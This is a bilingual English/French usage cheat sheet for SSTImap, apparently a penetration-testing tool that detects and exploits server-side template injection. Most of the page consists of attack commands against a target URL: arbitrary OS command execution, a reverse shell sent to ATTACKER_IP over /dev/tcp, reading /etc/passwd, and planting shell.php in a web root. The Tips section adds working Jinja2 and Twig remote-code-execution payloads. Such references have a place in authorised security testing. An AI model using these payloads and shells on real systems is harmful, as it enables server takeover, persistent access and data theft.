SSTImap
Outil de détection et d'exploitation d'injection de template côté serveur (SSTI). Détecte automatiquement le moteur de template et obtient du RCE via plus de 15 exploits de moteurs de template. Server-Side Template Injection (SSTI) detection and exploitation tool. Auto-detects template engine and achieves RCE through 15+ template engine exploits.
↗ https://github.com/vladko312/SSTImapOverview
SSTImap automatically detects and exploits Server-Side Template Injection vulnerabilities. It identifies the template engine in use (Jinja2, Twig, Freemarker, Mako, Velocity, etc.) and exploits SSTI to achieve Remote Code Execution, file read/write, or shell access.
Basic Usage
Test a GET parameter
python3 sstimap.py -u "https://target.com/page?name=test"
Test POST data
python3 sstimap.py -u "https://target.com/render" -d "template=test"
Test specific parameter
python3 sstimap.py -u "https://target.com/page?name=test&id=1" -p name
With cookies
python3 sstimap.py -u "https://target.com/page?name=test" --cookie "session=abc123"
Detection & Exploitation
Detection only (don’t exploit)
python3 sstimap.py -u "https://target.com/page?name=test" --detect
# Execute OS command after detection
python3 sstimap.py -u "https://target.com/page?name=test" -e id
python3 sstimap.py -u "https://target.com/page?name=test" -e "cat /etc/passwd"
# Get a reverse shell
python3 sstimap.py -u "https://target.com/page?name=test" --os-shell
python3 sstimap.py -u "https://target.com/page?name=test" --os-cmd "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"
Read a file
python3 sstimap.py -u "https://target.com/page?name=test" --file-read /etc/passwd
Write a file
python3 sstimap.py -u "https://target.com/page?name=test" --file-write shell.php --output /var/www/html/shell.php
Request Customization
Custom headers
python3 sstimap.py -u "https://target.com/page?name=test" -H "X-Custom: value" -H "Authorization: Bearer TOKEN"
POST with content type
python3 sstimap.py -u "https://target.com/api" -d '{"template":"test"}' -H "Content-Type: application/json"
Through proxy
python3 sstimap.py -u "https://target.com/page?name=test" --proxy http://127.0.0.1:8080
From Burp request file
python3 sstimap.py -r request.txt
Template Engine Selection
# Force a specific engine (skip detection)
python3 sstimap.py -u "https://target.com/page?name=test" --engine Jinja2
python3 sstimap.py -u "https://target.com/page?name=test" --engine Twig
List supported engines
python3 sstimap.py --list-engines
Supported Template Engines
| Engine | Language | RCE |
|---|---|---|
| Jinja2 | Python | Yes |
| Mako | Python | Yes |
| Tornado | Python | Yes |
| Twig | PHP | Yes |
| Smarty | PHP | Yes |
| Freemarker | Java | Yes |
| Velocity | Java | Yes |
| Pebble | Java | Yes |
| Thymeleaf | Java | Yes |
| Groovy | Java | Yes |
Manual SSTI Testing
# Quick detection payloads (if result is 49 → vulnerable)
{{7*7}} → Jinja2 / Twig (Python/PHP)
${7*7} → Freemarker / Velocity (Java)
<%= 7*7 %> → ERB (Ruby)
#{7*7} → Pebble
*{7*7} → Spring (Java)
Tips
- Always test for SSTI in any parameter that reflects user input through a template
- Jinja2 RCE via
{{config.__class__.__init__.__globals__['os'].popen('id').read()}} - Twig RCE via
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}} - SSTI is often higher severity than XSS — it runs server-side as the web server user
Help / Man page
sstimap.py [options]
Target:
-u URL Target URL
-d DATA POST data
-r FILE Load request from file
-p PARAM Parameter to test
--cookie COOKIE Cookies
-H HEADER Extra headers
Detection:
--detect Only detect, don't exploit
--engine NAME Force engine
--list-engines List supported engines
--level N Test level (1-5, default: 1)
Exploitation:
-e CMD Execute OS command
--os-shell Interactive OS shell
--os-cmd CMD Single OS command
--file-read PATH Read file
--file-write FILE Write file
--output PATH Output path for --file-write
Network:
--proxy URL HTTP proxy
--timeout N Request timeout
--delay N Delay between requests
-H HEADER Add header
Vue d’ensemble
SSTImap détecte et exploite automatiquement les vulnérabilités d’injection de template côté serveur. Il identifie le moteur de template utilisé (Jinja2, Twig, Freemarker, Mako, Velocity, etc.) et exploite le SSTI pour obtenir de l’exécution de code à distance, de la lecture/écriture de fichiers, ou un accès shell.
Utilisation de base
# Tester un paramètre GET
python3 sstimap.py -u "https://target.com/page?name=test"
# Tester des données POST
python3 sstimap.py -u "https://target.com/render" -d "template=test"
# Tester un paramètre spécifique
python3 sstimap.py -u "https://target.com/page?name=test&id=1" -p name
# Avec cookies
python3 sstimap.py -u "https://target.com/page?name=test" --cookie "session=abc123"
Détection et exploitation
# Détection uniquement (ne pas exploiter)
python3 sstimap.py -u "https://target.com/page?name=test" --detect
# Exécuter une commande OS après détection
python3 sstimap.py -u "https://target.com/page?name=test" -e id
python3 sstimap.py -u "https://target.com/page?name=test" -e "cat /etc/passwd"
# Obtenir un reverse shell
python3 sstimap.py -u "https://target.com/page?name=test" --os-shell
python3 sstimap.py -u "https://target.com/page?name=test" --os-cmd "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"
# Lire un fichier
python3 sstimap.py -u "https://target.com/page?name=test" --file-read /etc/passwd
# Écrire un fichier
python3 sstimap.py -u "https://target.com/page?name=test" --file-write shell.php --output /var/www/html/shell.php
Personnalisation de la requête
# Headers personnalisés
python3 sstimap.py -u "https://target.com/page?name=test" -H "X-Custom: value" -H "Authorization: Bearer TOKEN"
# POST avec content type
python3 sstimap.py -u "https://target.com/api" -d '{"template":"test"}' -H "Content-Type: application/json"
# Via proxy
python3 sstimap.py -u "https://target.com/page?name=test" --proxy http://127.0.0.1:8080
# Depuis un fichier de requête Burp
python3 sstimap.py -r request.txt
Sélection du moteur de template
# Forcer un moteur spécifique (sauter la détection)
python3 sstimap.py -u "https://target.com/page?name=test" --engine Jinja2
python3 sstimap.py -u "https://target.com/page?name=test" --engine Twig
Lister les moteurs supportés
python3 sstimap.py --list-engines
Moteurs de template supportés
| Moteur | Langage | RCE |
|---|---|---|
| Jinja2 | Python | Oui |
| Mako | Python | Oui |
| Tornado | Python | Oui |
| Twig | PHP | Oui |
| Smarty | PHP | Oui |
| Freemarker | Java | Oui |
| Velocity | Java | Oui |
| Pebble | Java | Oui |
| Thymeleaf | Java | Oui |
| Groovy | Java | Oui |
Test manuel de SSTI
# Payloads de détection rapide (si le résultat est 49 → vulnérable)
{{7*7}} → Jinja2 / Twig (Python/PHP)
${7*7} → Freemarker / Velocity (Java)
<%= 7*7 %> → ERB (Ruby)
#{7*7} → Pebble
*{7*7} → Spring (Java)
Conseils
- Toujours tester le SSTI sur tout paramètre qui reflète une entrée utilisateur à travers un template
- RCE Jinja2 via
{{config.__class__.__init__.__globals__['os'].popen('id').read()}} - RCE Twig via
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}} - Le SSTI est souvent plus sévère que le XSS : il s’exécute côté serveur en tant qu’utilisateur du serveur web
Aide / Page de manuel
sstimap.py [options]
Target:
-u URL Target URL
-d DATA POST data
-r FILE Load request from file
-p PARAM Parameter to test
--cookie COOKIE Cookies
-H HEADER Extra headers
Detection:
--detect Only detect, don't exploit
--engine NAME Force engine
--list-engines List supported engines
--level N Test level (1-5, default: 1)
Exploitation:
-e CMD Execute OS command
--os-shell Interactive OS shell
--os-cmd CMD Single OS command
--file-read PATH Read file
--file-write FILE Write file
--output PATH Output path for --file-write
Network:
--proxy URL HTTP proxy
--timeout N Request timeout
--delay N Delay between requests
-H HEADER Add header